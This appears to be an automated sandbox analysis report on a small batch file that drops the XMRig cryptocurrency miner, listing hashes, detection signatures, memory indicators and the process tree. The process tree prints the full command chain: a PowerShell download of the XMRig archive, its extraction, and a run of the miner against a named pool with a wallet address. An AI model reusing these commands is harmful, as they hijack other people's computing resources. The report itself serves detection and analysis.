xmrig | 04cf0194fb37bcc19b2b63904d84a74c720b64b7938620fdf971bb98a8f47ccd

Analysis

max time kernel
294s
max time network
295s
platform
windows10-2004_x64
resource
win10v2004-20231215-en
resource tags

arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
submitted
22/12/2023, 05:54

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General

Target

tesy - Copy (10).bat
Size

608B
MD5

727c8da0478af118c957ae60f7161cab
SHA1

cf18105b8659e93bbd2824fa35ef1bae7b395301
SHA256

97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab
SHA512

d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score

10^/10

xmrig miner

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

XMRig Miner payload 10 IoCs

miner

resource	yara_rule
behavioral2/files/0x000600000002322b-58.dat	family_xmrig
behavioral2/files/0x000600000002322b-58.dat	xmrig
behavioral2/memory/3596-61-0x00007FF7D99F0000-0x00007FF7DA4F3000-memory.dmp	xmrig
behavioral2/memory/3596-62-0x00007FF7D99F0000-0x00007FF7DA4F3000-memory.dmp	xmrig
behavioral2/memory/3596-65-0x00007FF7D99F0000-0x00007FF7DA4F3000-memory.dmp	xmrig
behavioral2/memory/3596-66-0x00007FF7D99F0000-0x00007FF7DA4F3000-memory.dmp	xmrig
behavioral2/memory/3596-69-0x00007FF7D99F0000-0x00007FF7DA4F3000-memory.dmp	xmrig
behavioral2/memory/3596-70-0x00007FF7D99F0000-0x00007FF7DA4F3000-memory.dmp	xmrig
behavioral2/memory/3596-71-0x00007FF7D99F0000-0x00007FF7DA4F3000-memory.dmp	xmrig
behavioral2/memory/3596-72-0x00007FF7D99F0000-0x00007FF7DA4F3000-memory.dmp	xmrig

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

Blocklisted process makes network request 2 IoCs

flow	pid	Process
5	3004	powershell.exe
10	3004	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
3596	xmrig.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
3004	powershell.exe
3004	powershell.exe
4664	powershell.exe
4664	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	3004	powershell.exe
Token: SeDebugPrivilege	4664	powershell.exe
Token: SeLockMemoryPrivilege	3596	xmrig.exe
Token: SeLockMemoryPrivilege	3596	xmrig.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
3596	xmrig.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1700 wrote to memory of 3004	1700	cmd.exe	88
PID 1700 wrote to memory of 3004	1700	cmd.exe	88
PID 1700 wrote to memory of 4664	1700	cmd.exe	92
PID 1700 wrote to memory of 4664	1700	cmd.exe	92
PID 1700 wrote to memory of 3596	1700	cmd.exe	93
PID 1700 wrote to memory of 3596	1700	cmd.exe	93

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (10).bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1700
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3004
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4664
- C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
  xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  PID:3596

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
2f57fde6b33e89a63cf0dfdd6e60a351

SHA1
445bf1b07223a04f8a159581a3d37d630273010f

SHA256
3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

SHA512
42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
a2b24af1492f112d2e53cb7415fda39f

SHA1
dbfcee57242a14b60997bd03379cc60198976d85

SHA256
fa05674c1db3386cf01ba1db5a3e9aeb97e15d1720d82988f573bf9743adc073

SHA512
9919077b8e5c7a955682e9a83f6d7ab34ac6a10a3d65af172734d753a48f7604a95739933b8680289c94b4e271b27c775d015b8d9678db277f498d8450b8aff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_pvnyf1gs.ybq.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0-gcc-win64.zip

Filesize
1000KB

MD5
0885834304eb9c2f6c16155bfe513dfe

SHA1
e2c8815eb1aa767d0312f249b38e62550a0d4847

SHA256
7fbc6c3c7e0f02ff44c12c36144a0736d695e611d601e65f3cd8d3cbc3f670b6

SHA512
e2a70bff8b9aeb23796c12d1f66eaeeaed5e4c2b40a5d0c7c294ef93d8e0eb71e1cd66c3c7a4e3252ee4a2072938fdb151f6f916f6187398b2024148ab7869b7

Download Submit
C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe

Filesize
347KB

MD5
15137a3e31357b9664ecaa749ff96a64

SHA1
36d506156724215c9ad0073d8d0bf27042b1fe86

SHA256
7ef7e95f4915f046bf63a8191ca393b9bb9a8de4670ead1fa4a1568ccfaa2401

SHA512
40c4660d76b8f57c5e4235a470cba0b918884be9ea1e3de2ec8f855462f1d39f184232a558a875e6c4e6a502a141180627a3449f3d48933b9636202016a12fe0

Download Submit
memory/3004-0-0x000001AB597E0000-0x000001AB59802000-memory.dmp

Filesize
136KB

Download
memory/3004-10-0x00007FFADD790000-0x00007FFADE251000-memory.dmp

Filesize
10.8MB

Download
memory/3004-11-0x000001AB59850000-0x000001AB59860000-memory.dmp

Filesize
64KB

Download
memory/3004-12-0x000001AB59850000-0x000001AB59860000-memory.dmp

Filesize
64KB

Download
memory/3004-16-0x00007FFADD790000-0x00007FFADE251000-memory.dmp

Filesize
10.8MB

Download
memory/3596-81-0x00007FF7D99F0000-0x00007FF7DA4F3000-memory.dmp

Filesize
11.0MB

Download
memory/3596-73-0x00007FF7D99F0000-0x00007FF7DA4F3000-memory.dmp

Filesize
11.0MB

Download
memory/3596-93-0x00007FF7D99F0000-0x00007FF7DA4F3000-memory.dmp

Filesize
11.0MB

Download
memory/3596-92-0x00007FF7D99F0000-0x00007FF7DA4F3000-memory.dmp

Filesize
11.0MB

Download
memory/3596-91-0x00007FF7D99F0000-0x00007FF7DA4F3000-memory.dmp

Filesize
11.0MB

Download
memory/3596-90-0x00007FF7D99F0000-0x00007FF7DA4F3000-memory.dmp

Filesize
11.0MB

Download
memory/3596-89-0x00007FF7D99F0000-0x00007FF7DA4F3000-memory.dmp

Filesize
11.0MB

Download
memory/3596-59-0x000001EBA3700000-0x000001EBA3720000-memory.dmp

Filesize
128KB

Download
memory/3596-60-0x000001EBA5100000-0x000001EBA5120000-memory.dmp

Filesize
128KB

Download
memory/3596-61-0x00007FF7D99F0000-0x00007FF7DA4F3000-memory.dmp

Filesize
11.0MB

Download
memory/3596-64-0x000001EBA5120000-0x000001EBA5140000-memory.dmp

Filesize
128KB

Download
memory/3596-63-0x000001EBA5140000-0x000001EBA5160000-memory.dmp

Filesize
128KB

Download
memory/3596-62-0x00007FF7D99F0000-0x00007FF7DA4F3000-memory.dmp

Filesize
11.0MB

Download
memory/3596-65-0x00007FF7D99F0000-0x00007FF7DA4F3000-memory.dmp

Filesize
11.0MB

Download
memory/3596-66-0x00007FF7D99F0000-0x00007FF7DA4F3000-memory.dmp

Filesize
11.0MB

Download
memory/3596-67-0x000001EBA5140000-0x000001EBA5160000-memory.dmp

Filesize
128KB

Download
memory/3596-68-0x000001EBA5120000-0x000001EBA5140000-memory.dmp

Filesize
128KB

Download
memory/3596-69-0x00007FF7D99F0000-0x00007FF7DA4F3000-memory.dmp

Filesize
11.0MB

Download
memory/3596-70-0x00007FF7D99F0000-0x00007FF7DA4F3000-memory.dmp

Filesize
11.0MB

Download
memory/3596-71-0x00007FF7D99F0000-0x00007FF7DA4F3000-memory.dmp

Filesize
11.0MB

Download
memory/3596-72-0x00007FF7D99F0000-0x00007FF7DA4F3000-memory.dmp

Filesize
11.0MB

Download
memory/3596-88-0x00007FF7D99F0000-0x00007FF7DA4F3000-memory.dmp

Filesize
11.0MB

Download
memory/3596-74-0x00007FF7D99F0000-0x00007FF7DA4F3000-memory.dmp

Filesize
11.0MB

Download
memory/3596-75-0x00007FF7D99F0000-0x00007FF7DA4F3000-memory.dmp

Filesize
11.0MB

Download
memory/3596-76-0x00007FF7D99F0000-0x00007FF7DA4F3000-memory.dmp

Filesize
11.0MB

Download
memory/3596-77-0x00007FF7D99F0000-0x00007FF7DA4F3000-memory.dmp

Filesize
11.0MB

Download
memory/3596-78-0x00007FF7D99F0000-0x00007FF7DA4F3000-memory.dmp

Filesize
11.0MB

Download
memory/3596-79-0x00007FF7D99F0000-0x00007FF7DA4F3000-memory.dmp

Filesize
11.0MB

Download
memory/3596-80-0x00007FF7D99F0000-0x00007FF7DA4F3000-memory.dmp

Filesize
11.0MB

Download
memory/3596-87-0x00007FF7D99F0000-0x00007FF7DA4F3000-memory.dmp

Filesize
11.0MB

Download
memory/3596-82-0x00007FF7D99F0000-0x00007FF7DA4F3000-memory.dmp

Filesize
11.0MB

Download
memory/3596-83-0x00007FF7D99F0000-0x00007FF7DA4F3000-memory.dmp

Filesize
11.0MB

Download
memory/3596-84-0x00007FF7D99F0000-0x00007FF7DA4F3000-memory.dmp

Filesize
11.0MB

Download
memory/3596-85-0x00007FF7D99F0000-0x00007FF7DA4F3000-memory.dmp

Filesize
11.0MB

Download
memory/3596-86-0x00007FF7D99F0000-0x00007FF7DA4F3000-memory.dmp

Filesize
11.0MB

Download
memory/4664-28-0x00007FFADD790000-0x00007FFADE251000-memory.dmp

Filesize
10.8MB

Download
memory/4664-31-0x00000252D9CE0000-0x00000252D9CF0000-memory.dmp

Filesize
64KB

Download
memory/4664-29-0x00000252D9CE0000-0x00000252D9CF0000-memory.dmp

Filesize
64KB

Download
memory/4664-56-0x00007FFADD790000-0x00007FFADE251000-memory.dmp

Filesize
10.8MB

Download
memory/4664-32-0x00000252DAC10000-0x00000252DAC22000-memory.dmp

Filesize
72KB

Download
memory/4664-30-0x00000252D9CE0000-0x00000252D9CF0000-memory.dmp

Filesize
64KB

Download
memory/4664-33-0x00000252DAC00000-0x00000252DAC0A000-memory.dmp

Filesize
40KB

Download